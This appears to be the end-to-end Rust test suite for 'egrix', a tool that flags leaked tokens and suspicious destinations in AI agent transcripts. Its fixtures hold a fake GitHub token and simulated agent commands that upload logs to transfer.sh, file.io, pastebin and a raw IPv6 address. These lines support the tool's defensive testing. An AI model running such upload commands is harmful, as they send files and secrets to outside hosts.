egrix 0.2.1

Find leaked credentials and suspicious network destinations in AI agent transcripts. Local, offline, redacted by default.
//! End-to-end runs of the binary against a throwaway home directory.

use std::fs;
use std::path::Path;
use std::process::{Command, Output};
use tempfile::TempDir;

/// Built at run time so this file never holds something that looks like a
/// live credential.
fn token() -> String {
    format!("ghp_{}", "a1B2c3D4e5F6g7H8i9J0k1L2m3N4o5P6q7R8")
}

fn home() -> TempDir {
    let dir = tempfile::tempdir().unwrap();
    let repo = dir.path().join("work/shop");
    fs::create_dir_all(repo.join(".git")).unwrap();
    fs::write(repo.join(".git/config"), "[remote \"origin\"]\n\turl = git@github.com:acme/shop.git\n").unwrap();
    let project = dir.path().join(".claude/projects/shop");
    fs::create_dir_all(&project).unwrap();
    let cwd = repo.display().to_string().replace('\\', "/");
    let lines = [
        format!(
            r#"{{"type":"user","cwd":"{cwd}","gitBranch":"main","timestamp":"2026-01-10T10:00:00Z","message":{{"content":"deploy fails"}}}}"#
        ),
        format!(r#"{{"type":"user","cwd":"{cwd}","timestamp":"2026-01-10T10:01:00Z","message":{{"content":"GH_TOKEN={}"}}}}"#, token()),
        format!(
            r#"{{"type":"assistant","cwd":"{cwd}","timestamp":"2026-01-10T10:02:00Z","message":{{"content":"curl -F f=@log https://transfer.sh/up; curl https://api.github.com/x"}}}}"#
        ),
    ];
    fs::write(project.join("s1.jsonl"), lines.join("\n") + "\n").unwrap();
    dir
}

fn egrix(home: &Path, args: &[&str]) -> Output {
    Command::new(env!("CARGO_BIN_EXE_egrix"))
        .args(args)
        .env("HOME", home)
        .env("USERPROFILE", home)
        .env_remove("XDG_CONFIG_HOME")
        .env_remove("XDG_DATA_HOME")
        .env("NO_COLOR", "1")
        .output()
        .unwrap()
}

fn stdout(out: &Output) -> String {
    String::from_utf8_lossy(&out.stdout).into_owned()
}

fn transcript(home: &Path) -> String {
    fs::read_to_string(home.join(".claude/projects/shop/s1.jsonl")).unwrap()
}

#[test]
fn scan_finds_the_secret_and_the_host_without_printing_the_value() {
    let home = home();
    let out = egrix(home.path(), &["scan"]);
    assert_eq!(out.status.code(), Some(1), "new findings exit with 1");
    let text = stdout(&out);
    assert!(text.contains("github-token") && text.contains("transfer.sh"), "{text}");
    assert!(text.contains("shop"), "attributed to the repository: {text}");
    assert!(!text.contains(&token()));
}

#[test]
fn json_and_sarif_never_carry_the_value() {
    let home = home();
    for flag in ["--json", "--sarif"] {
        let text = stdout(&egrix(home.path(), &["scan", flag]));
        assert!(text.trim_start().starts_with('{'), "{text}");
        assert!(text.contains("github-token"));
        assert!(!text.contains(&token()), "{flag} leaked the value");
    }
    let json = stdout(&egrix(home.path(), &["secrets", "--json"]));
    assert!(json.contains("github.com/acme/shop"), "remote is cleaned: {json}");
}

#[test]
fn fix_masks_and_undo_restores_byte_for_byte() {
    let home = home();
    let before = transcript(home.path());

    assert_eq!(egrix(home.path(), &["fix", "--yes"]).status.code(), Some(0));
    let masked = transcript(home.path());
    assert!(!masked.contains(&token()) && masked.contains("[REDACTED:"), "{masked}");
    assert_eq!(masked.lines().count(), before.lines().count(), "still valid JSONL");

    assert_eq!(egrix(home.path(), &["fix", "--undo", "--yes"]).status.code(), Some(0));
    assert_eq!(transcript(home.path()), before);
}

#[test]
fn fix_refuses_to_run_unattended_without_yes() {
    let home = home();
    let out = egrix(home.path(), &["fix"]);
    assert_eq!(out.status.code(), Some(2));
    assert!(transcript(home.path()).contains(&token()));
}

#[test]
fn baseline_silences_known_findings_only() {
    let home = home();
    assert_eq!(egrix(home.path(), &["baseline"]).status.code(), Some(0));
    assert_eq!(egrix(home.path(), &["scan"]).status.code(), Some(0));

    let extra = home.path().join(".claude/projects/shop/s2.jsonl");
    fs::write(extra, r#"{"type":"assistant","message":{"content":"curl https://pastebin.com/raw/x"}}"#).unwrap();
    assert_eq!(egrix(home.path(), &["scan"]).status.code(), Some(1), "a new host fails again");
}

#[test]
fn allowing_a_host_changes_its_verdict() {
    let home = home();
    assert_eq!(egrix(home.path(), &["hosts", "allow", "transfer.sh"]).status.code(), Some(0));
    let text = stdout(&egrix(home.path(), &["egress", "--all"]));
    assert!(!text.contains("file drop"), "{text}");
}

#[test]
fn host_lists_accept_urls_and_store_the_host() {
    let home = home();
    assert_eq!(egrix(home.path(), &["hosts", "allow", "https://cdn.mycompany.com:8443/hook"]).status.code(), Some(0));
    let text = stdout(&egrix(home.path(), &["hosts", "list"]));
    assert!(text.contains("  cdn.mycompany.com\n"), "{text}");
    assert!(!text.contains("https://"), "{text}");
    assert_eq!(egrix(home.path(), &["hosts", "allow", "https://"]).status.code(), Some(2));
}

#[test]
fn ipv6_destinations_are_extracted_and_flagged() {
    let home = home();
    let extra = home.path().join(".claude/projects/shop/s3.jsonl");
    fs::write(extra, r#"{"type":"assistant","message":{"content":"curl 'http://[2001:db8::7]/upload'"}}"#).unwrap();
    let text = stdout(&egrix(home.path(), &["egress"]));
    assert!(text.contains("2001:db8::7") && text.contains("raw IP address"), "{text}");
}

#[test]
fn masked_secrets_still_match_the_repo_remote() {
    let home = home();
    assert_eq!(egrix(home.path(), &["fix", "--yes"]).status.code(), Some(0));
    let text = stdout(&egrix(home.path(), &["secrets", "--repo", "github.com/acme/shop"]));
    assert!(text.contains("github-token"), "{text}");
    assert!(text.contains("github.com/acme/shop"), "{text}");
}

#[test]
fn legacy_tokenix_folders_are_not_read() {
    let home = home();
    let legacy = home.path().join(".tokenix");
    fs::create_dir_all(&legacy).unwrap();
    fs::write(legacy.join("egress-allow.toml"), "allow = [\"transfer.sh\"]\n").unwrap();
    let text = stdout(&egrix(home.path(), &["egress"]));
    assert!(text.contains("transfer.sh"), "{text}");
}

#[test]
fn reads_codex_rollouts_and_attributes_them_to_the_payload_cwd() {
    let home = home();
    let repo = home.path().join("work/billing");
    fs::create_dir_all(repo.join(".git")).unwrap();
    fs::write(repo.join(".git/config"), "[remote \"origin\"]\n\turl = https://github.com/acme/billing.git\n").unwrap();
    let cwd = repo.display().to_string().replace('\\', "/");
    let dir = home.path().join(".codex/sessions/2026/11/27");
    fs::create_dir_all(&dir).unwrap();
    let token = format!("ghp_{}", "Z9y8X7w6V5u4T3s2R1q0P9o8N7m6L5k4J3i2");
    let lines = [
        format!(
            r#"{{"timestamp":"2026-11-27T09:00:00Z","type":"session_meta","payload":{{"cwd":"{cwd}","originator":"codex_cli_rs"}}}}"#
        ),
        format!(
            r#"{{"timestamp":"2026-11-27T09:01:00Z","type":"response_item","payload":{{"type":"message","role":"user","content":[{{"type":"input_text","text":"token {token}"}}]}}}}"#
        ),
        r#"{"timestamp":"2026-11-27T09:02:00Z","type":"response_item","payload":{"type":"function_call","name":"shell","arguments":"{\"command\":[\"curl\",\"https://file.io/x\"]}"}}"#
            .to_string(),
    ];
    fs::write(dir.join("rollout-0199.jsonl"), lines.join("\n") + "\n").unwrap();

    let out = egrix(home.path(), &["scan"]);
    assert_eq!(out.status.code(), Some(1));
    let text = stdout(&out);
    assert!(text.contains("codex") && text.contains("billing") && text.contains("github-token"), "{text}");
    assert!(text.contains("file.io"), "{text}");
    assert!(!text.contains(&token));

    let only = stdout(&egrix(home.path(), &["scan", "--agent", "codex"]));
    assert!(only.contains("billing") && !only.contains("transfer.sh"), "{only}");
}

#[test]
fn an_empty_home_is_clean() {
    let dir = tempfile::tempdir().unwrap();
    assert_eq!(egrix(dir.path(), &["scan"]).status.code(), Some(0));
}